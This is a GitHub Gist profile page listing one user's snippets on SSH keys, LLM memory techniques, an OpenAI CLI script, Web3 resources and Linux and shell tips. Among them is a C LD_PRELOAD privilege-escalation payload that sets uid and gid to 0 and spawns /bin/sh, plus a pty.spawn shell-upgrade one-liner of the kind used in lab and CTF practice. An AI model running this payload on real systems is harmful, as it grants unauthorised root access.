Skip to content

Instantly share code, notes, and snippets.

View MoElaSec's full-sized avatar
🎯
Focusing

ShifraTech MoElaSec

🎯
Focusing
  • Belgium
View GitHub Profile
@MoElaSec
MoElaSec / multiple_ssh_setting.md
Created March 5, 2024 19:39 — forked from jexchan/multiple_ssh_setting.md
Multiple SSH keys for different github accounts

Multiple SSH Keys settings for different github account

create different public key

create different ssh key according the article Mac Set-Up Git

$ ssh-keygen -t rsa -C "your_email@youremail.com"
"""
Over coming memory limitations [From:](https://twitter.com/diegosaidam/status/1644967181531348994?s=20)
### Technique 1:
- Conversation Summarization - Generate a summary of the conversation history as context to help GPT recall key points.
### Technique 2:
- Selective Context - Use Pinecone's vector index to find the most relevant messages from the conversation history to provide as context.
### Technique 3:
@MoElaSec
MoElaSec / openai-text-davinci003.py
Created January 1, 2023 12:22
🤖 OpenAI Text-Davinci-003 language model, CLI prompt.
import os
import openai
import sys
import signal
openai.api_key = os.getenv("OPENAI_API_KEY")
@MoElaSec
MoElaSec / ETH_DiFi_Resources.md
Last active January 30, 2022 05:27
Become a Web 3.0 Dev: Resources to Build your knowledge in Ethereum and DeFi as a Developer

Our way:

  1. Try to go as deep as you can with the:
  • Ethereum EVM
  • Solidity
  • Understand how the major DeFi protocols work.
  1. Build a strong background in Data Structures and Algorithms.

  2. Attending online Ethereum hackathons is a great way to start building your knowledge and experience and get to know the community.

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
python -c 'import pty;pty.spawn("/bin/bash");'
@MoElaSec
MoElaSec / Check_Linux_mem.md
Last active December 25, 2021 14:54
💻Linux: Check Memory Usage in Linux

👨‍💻Commands

  • cat /proc/meminfo
  • free

⛏Tools

  • vmstat
@MoElaSec
MoElaSec / cmdpy.md
Created December 25, 2021 14:47
Python OS and Subprocess: helpful to execute commands within Python scripts. {Not finished yet}

OS

clean the screen:

import os, platform

def c():
   p = platform.system()
   if p == "Windows":
@MoElaSec
MoElaSec / redirection_commands_Shell.md
Last active July 28, 2021 05:42
🎯Redirect standard input/output/error for shell commands.

There are three I/O devices available on the command line:

1.standard input - 0

2.standard output - 1

3.standard error - 2

To redirect standard output (the default output) to a file (and overwrite the file), use: